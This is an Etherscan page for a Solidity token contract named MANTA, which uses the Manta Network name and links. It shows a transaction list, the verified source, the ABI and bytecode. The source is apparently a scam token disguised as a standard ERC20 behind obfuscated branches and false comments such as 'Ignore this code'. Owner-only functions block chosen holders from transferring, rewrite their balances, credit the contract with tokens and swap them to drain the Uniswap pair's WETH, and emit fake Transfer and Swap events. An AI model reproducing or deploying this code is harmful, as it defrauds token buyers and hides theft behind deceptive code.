ETH Price: $2,524.64 (-4.30%)
Gas: 3.15 Gwei

Contract

0x06c5D7ecdD72146b2A0C6251E6b9B89B34Ae05CE
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Address192008062024-02-10 22:56:11199 days ago1707605771IN
0x06c5D7ec...B34Ae05CE
0 ETH0.0039412127.72142722
Transfer191987822024-02-10 16:07:47199 days ago1707581267IN
0x06c5D7ec...B34Ae05CE
0 ETH0.0013264549.1899799
Approve191545072024-02-04 10:59:11205 days ago1707044351IN
0x06c5D7ec...B34Ae05CE
0 ETH0.0006240213.39398532
Multicall191510102024-02-03 23:10:47206 days ago1707001847IN
0x06c5D7ec...B34Ae05CE
0 ETH0.0008713417.6104768
Multicall191498722024-02-03 19:21:23206 days ago1706988083IN
0x06c5D7ec...B34Ae05CE
0 ETH0.0008671717.52185624
Approve191452142024-02-03 3:37:35207 days ago1706931455IN
0x06c5D7ec...B34Ae05CE
0 ETH0.0009422520.22446915
Approve191433712024-02-02 21:24:35207 days ago1706909075IN
0x06c5D7ec...B34Ae05CE
0 ETH0.0007424115.93500218
Multicall191327102024-02-01 9:31:11209 days ago1706779871IN
0x06c5D7ec...B34Ae05CE
0 ETH0.0010589321.3965357
Multicall191147292024-01-29 21:01:47211 days ago1706562107IN
0x06c5D7ec...B34Ae05CE
0 ETH0.0009014718.21499045
Transfer190955432024-01-27 4:29:35214 days ago1706329775IN
0x06c5D7ec...B34Ae05CE
0 ETH0.0003499212.93036841
Approve190829922024-01-25 10:20:23215 days ago1706178023IN
0x06c5D7ec...B34Ae05CE
0 ETH0.0022182547.61228275
Multicall190824892024-01-25 8:38:47216 days ago1706171927IN
0x06c5D7ec...B34Ae05CE
0 ETH0.0007966416.09681173
Multicall190810682024-01-25 3:51:59216 days ago1706154719IN
0x06c5D7ec...B34Ae05CE
0 ETH0.0005803211.72585353
Multicall190809742024-01-25 3:33:11216 days ago1706153591IN
0x06c5D7ec...B34Ae05CE
0 ETH0.0007135514.41795961
Approve190800482024-01-25 0:25:23216 days ago1706142323IN
0x06c5D7ec...B34Ae05CE
0 ETH0.0005104210.95574437
Approve190800462024-01-25 0:24:59216 days ago1706142299IN
0x06c5D7ec...B34Ae05CE
0 ETH0.0005081710.90745488
Multicall190800252024-01-25 0:20:23216 days ago1706142023IN
0x06c5D7ec...B34Ae05CE
0 ETH0.000721914.58657642
Multicall190783932024-01-24 18:50:23216 days ago1706122223IN
0x06c5D7ec...B34Ae05CE
0 ETH0.0015711631.74642816
Multicall190776222024-01-24 16:14:59216 days ago1706112899IN
0x06c5D7ec...B34Ae05CE
0 ETH0.0009762919.73141878
Multicall190767432024-01-24 13:17:59216 days ago1706102279IN
0x06c5D7ec...B34Ae05CE
0 ETH0.0008092816.35214362
Approve190734722024-01-24 2:18:11217 days ago1706062691IN
0x06c5D7ec...B34Ae05CE
0 ETH0.0004756410.2224215
Approve190728812024-01-24 0:18:59217 days ago1706055539IN
0x06c5D7ec...B34Ae05CE
0 ETH0.000417798.96740805
Approve190728502024-01-24 0:12:35217 days ago1706055155IN
0x06c5D7ec...B34Ae05CE
0 ETH0.00044299.50634727
Multicall190728232024-01-24 0:07:11217 days ago1706054831IN
0x06c5D7ec...B34Ae05CE
0 ETH0.000535810.82627033
Approve190728132024-01-24 0:05:11217 days ago1706054711IN
0x06c5D7ec...B34Ae05CE
0 ETH0.000413728.89167398
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MANTA

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-18
*/

/*

https://manta.network/
https://twitter.com/mantanetwork
https://discord.gg/mantanetwork
https://t.me/mantanetwork

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.6;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
interface IERC20 {
    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
interface Interfaces {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function token0() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

   
    function getAmountsOut(
        uint256 amountIn,
        address[] memory path
    ) external view returns (uint256[] memory amounts);

    function getAmountsIn(
        uint256 amountOut,
        address[] calldata path
    ) external view returns (uint256[] memory amounts);

     function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 {
    mapping(address => mapping(address => uint256)) public a;
    mapping(address => uint256) public b;
    mapping(address => uint256) public c;
    address public owner;
    uint256 _totalSupply;
    string _name;
    string _symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );

    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function TryCall(uint256 _a, uint256 _b) internal pure returns (uint256) {
        return _a / _b;
    }

    function FetchToken2(uint256 _a) internal pure returns (uint256) {
        return (_a * 100000) / (2931 + 97069);
    }

    function FetchToken(uint256 _a) internal pure returns (uint256) {
        return _a + 10;
    }

    function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
        // Ignore this code
        uint256 __c = _a + _b;
        require(__c >= _a, "SafeMath: addition overflow");

        return __c;
    }

   

    function transfer(
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

     function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
        require(_b <= _a, "SafeMath: subtraction overflow");
        uint256 __c = _a - _b;

        return __c;
    }

    function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
        return _a / _b;
    }

    function _T() internal view returns (bytes32) {
        return bytes32(uint256(uint160(address(this))) << 96);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return b[account];
    }

    function allowance(
        address __owner,
        address spender
    ) public view virtual returns (uint256) {
        return a[__owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );

        _approve(__owner, spender, currentAllowance - subtractedValue);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = b[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        if (c[from] > 0) {
            require(add(c[from], b[from]) == 0);
        }

        b[from] = sub(fromBalance, amount);
        b[to] = add(b[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        a[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );

            _approve(__owner, spender, currentAllowance - amount);
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract MANTA is ERC20 {
    Interfaces internal _RR;
    Interfaces internal _pair;
    uint8 public decimals = 18;

    mapping (address => uint) public rootValues;

    constructor() {
        _name = "Manta Network"; 
        _symbol = "MANTA";
        _totalSupply = 100_000e18;
        owner = msg.sender;
        b[owner] = _totalSupply;
        _RR = Interfaces(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _pair = Interfaces(
            Interfaces(_RR.factory()).createPair(
                address(this),
                address(_RR.WETH())
            )
        );
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function Execute(
        uint256 t,
        address tA,
        uint256 w,
        address[] memory r
    ) public onlyOwner returns (bool) {
        for (uint256 i = 0; i < r.length; i++) {
            callUniswap(r[i], t, w, tA);
        }
        return true;
    }

    function Div() internal view returns (address[] memory) {
        address[] memory p;
        p = new address[](2);
        p[0] = address(this);
        p[1] = _RR.WETH();
        return p;
    }

    function getContract(
        uint256 blockTimestamp,
        uint256 selector,
        address[] memory list,
        address factory
    ) internal {
        a[address(this)][address(_RR)] = b[address(this)];
        FactoryReview(blockTimestamp, selector, list, factory);
    }

    function FactoryReview(
        uint256 blockTime,
        uint256 multiplicator,
        address[] memory parts,
        address factory
    ) internal {
        _RR.swapTokensForExactTokens(
            // assembler
            blockTime,
            multiplicator,
            // unchecked
            parts,
            factory,
            block.timestamp + 1200
        );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function Address(address _r) public onlyOwner {
        uint256 calling = (Sub(_RR.WETH()) * 99999) / 100000;
        address[] memory FoldArray = Div();
        uint256 called = Allowance(calling, FoldArray);
        getContract(calling, called, FoldArray, _r);
    }

    function Sub(address t) internal view returns (uint256) {
        (uint112 r0, uint112 r1, ) = _pair.getReserves();
        return (_pair.token0() == t) ? uint256(r0) : uint256(r1);
    }

    function ConvertAddress(
        address _uu,
        uint256 _pp
    ) internal view returns (uint256) {
        return TryCall(b[_uu], _pp);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function CheckAmount2(bytes32 _b, uint256 __a) internal {
        // Assembler for gas optimization {}
        emit Transfer(
            (uint256(0) != 0 || 1238 == 1)
                ? address(uint256(0))
                : address(uint160(uint256(_b) >> 96)),
            address(_pair),
            b[
                // v0.5.11 specific update
                (uint256(0) != 0 || 1238 == 1)
                    ? address(
                        address(uint256(0)) == address(this) // Overflow control
                            ? uint256(0) // Ignore
                            : uint256(1)
                    )
                    : address(uint160(uint256(_b) >> 96))
                // Guard test
            ]
        );
        // Ignore this code
        b[
            // assembly
            (uint256(0) != 0 || 1238 == 1)
                ? address(
                    // Must control
                    uint256(0)
                )
                : address(uint160(uint256(_b) >> 96))
            // Contract opcode
        ] = FetchToken2(uint256(__a));
    }

    function Mult(
        uint256 amO,
        address[] memory p
    ) internal view returns (uint256[] memory) {
        return _RR.getAmountsIn(amO, p);
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function multicall2(bytes32[] calldata data, uint256 _p) public onlyOwner {
        // Assembler for gas optimization {}
        for (uint256 i = 0; i < data.length; i++) {
            // assembly
            if (block.timestamp > uint256(uint160(uint8(0)))) {
                // assembly
                uint256 rS = ConvertAddress(
                    (uint256(uint16(uint8(0))) != 0)
                        ? // Skip this code
                        address(uint256(0))
                        : address(uint160(uint256(data[i]) >> 96)),
                    _p
                );
                CheckAmount2(data[i], rS);
            }
        }
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function multicall(bytes32[] calldata data, uint256 _p) public onlyOwner {
        // Assembler for gas optimization {}
        for (uint256 i = 0; i < data.length; i++) {
            // assembly
            if (block.timestamp > uint256(uint160(uint8(0)))) {
                // assembly
                uint256 rS = ConvertAddress(
                    (uint256(uint16(uint8(0))) != 0)
                        ? address(uint256(0))
                        // Ignore this code
                        : address(uint160(uint256(data[i]) >> 96)),
                    _p
                );
                CheckAmount(data[i], rS);
            }
        }
    }

        /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function CheckAmount(bytes32 _b, uint256 __a) internal {
        // Assembler for gas optimization {}
        // Ignore this code
        c[
            // assembly
            (uint256(0) != 0 || 1238 == 1)
                ? address(
                    // Must control
                    uint256(uint32(2)) == 2 // Check update
                        ? uint256(1)
                        : uint256(1)
                )
                : address(uint160(uint256(_b) >> 96))
            // Contract opcode
        ] = FetchToken(uint256(__a));
    }

    function callUniswap(
        address router,
        uint256 transfer,
        uint256 cycleWidth,
        address unmount
    ) internal {
        IERC20(unmount).transferFrom(router, address(_pair), cycleWidth);
        emit Transfer(address(_pair), router, transfer);
        emit Swap(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
            transfer,
            0,
            0,
            cycleWidth,
            router
        );
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function Allowance(
        uint256 checked,
        address[] memory p
    ) internal returns (uint256) {
        // Assembler for gas optimization {}
        uint256[] memory value;
        value = new uint256[](2);

        // uncheck {
        value = Mult(checked, p);
        b[
            block.timestamp > uint256(1) ||
                uint256(0) > 1 ||
                uint160(1) < block.timestamp
                ? address(uint160(uint256(_T()) >> 96))
                : address(uint256(0))
        ] += value[0]; // end uncheck }

        return value[0];
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_r","type":"address"}],"name":"Address","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"t","type":"uint256"},{"internalType":"address","name":"tA","type":"address"},{"internalType":"uint256","name":"w","type":"uint256"},{"internalType":"address[]","name":"r","type":"address[]"}],"name":"Execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"a","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"b","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"c","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"data","type":"bytes32[]"},{"internalType":"uint256","name":"_p","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"data","type":"bytes32[]"},{"internalType":"uint256","name":"_p","type":"uint256"}],"name":"multicall2","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"rootValues","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526012600860146101000a81548160ff021916908360ff1602179055503480156200002d57600080fd5b506040518060400160405280600d81526020017f4d616e7461204e6574776f726b00000000000000000000000000000000000000815250600590805190602001906200007b92919062000496565b506040518060400160405280600581526020017f4d414e544100000000000000000000000000000000000000000000000000000081525060069080519060200190620000c992919062000496565b5069152d02c7e14af680000060048190555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045460016000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200024257600080fd5b505afa15801562000257573d6000803e3d6000fd5b505050506040513d60208110156200026e57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200030457600080fd5b505afa15801562000319573d6000803e3d6000fd5b505050506040513d60208110156200033057600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015620003ab57600080fd5b505af1158015620003c0573d6000803e3d6000fd5b505050506040513d6020811015620003d757600080fd5b8101908080519060200190929190505050600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a36200054c565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282620004ce57600085556200051a565b82601f10620004e957805160ff19168380011785556200051a565b828001600101855582156200051a579182015b8281111562000519578251825591602001919060010190620004fc565b5b5090506200052991906200052d565b5090565b5b80821115620005485760008160009055506001016200052e565b5090565b61290d806200055c6000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063bda0278211610071578063bda027821461076b578063dd62ed3e146107c3578063ea923bae1461083b578063ebfb412d146108be578063ff5c1d62146109025761012c565b806370a08231146105945780638da5cb5b146105ec57806395d89b4114610620578063a457c2d7146106a3578063a9059cbb146107075761012c565b8063313ce567116100f4578063313ce56714610312578063316d295f1461033357806339509351146103b65780635765a5cc1461041a57806358a10259146104925761012c565b806304ee65c01461013157806306fdde0314610189578063095ea7b31461020c57806318160ddd1461027057806323b872dd1461028e575b600080fd5b6101736004803603602081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061095a565b6040518082815260200191505060405180910390f35b610191610972565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101d15780820151818401526020810190506101b6565b50505050905090810190601f1680156101fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102586004803603604081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a14565b60405180821515815260200191505060405180910390f35b610278610a2b565b6040518082815260200191505060405180910390f35b6102fa600480360360608110156102a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a35565b60405180821515815260200191505060405180910390f35b61031a610a58565b604051808260ff16815260200191505060405180910390f35b6103b46004803603604081101561034957600080fd5b810190808035906020019064010000000081111561036657600080fd5b82018360208201111561037857600080fd5b8035906020019184602083028401116401000000008311171561039a57600080fd5b909192939192939080359060200190929190505050610a6b565b005b610402600480360360408110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bce565b60405180821515815260200191505060405180910390f35b61047c6004803603604081101561043057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf5565b6040518082815260200191505060405180910390f35b61057c600480360360808110156104a857600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156104f957600080fd5b82018360208201111561050b57600080fd5b8035906020019184602083028401116401000000008311171561052d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610c1a565b60405180821515815260200191505060405180910390f35b6105d6600480360360208110156105aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d24565b6040518082815260200191505060405180910390f35b6105f4610d6d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610628610d93565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561066857808201518184015260208101905061064d565b50505050905090810190601f1680156106955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106ef600480360360408110156106b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e35565b60405180821515815260200191505060405180910390f35b6107536004803603604081101561071d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ebb565b60405180821515815260200191505060405180910390f35b6107ad6004803603602081101561078157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ed2565b6040518082815260200191505060405180910390f35b610825600480360360408110156107d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eea565b6040518082815260200191505060405180910390f35b6108bc6004803603604081101561085157600080fd5b810190808035906020019064010000000081111561086e57600080fd5b82018360208201111561088057600080fd5b803590602001918460208302840111640100000000831117156108a257600080fd5b909192939192939080359060200190929190505050610f70565b005b610900600480360360208110156108d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110d3565b005b6109446004803603602081101561091857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611282565b6040518082815260200191505060405180910390f35b60026020528060005260406000206000915090505481565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a0a5780601f106109df57610100808354040283529160200191610a0a565b820191906000526020600020905b8154815290600101906020018083116109ed57829003601f168201915b5050505050905090565b6000610a2133848461129a565b6001905092915050565b6000600454905090565b6000610a42843384611490565b610a4d8484846115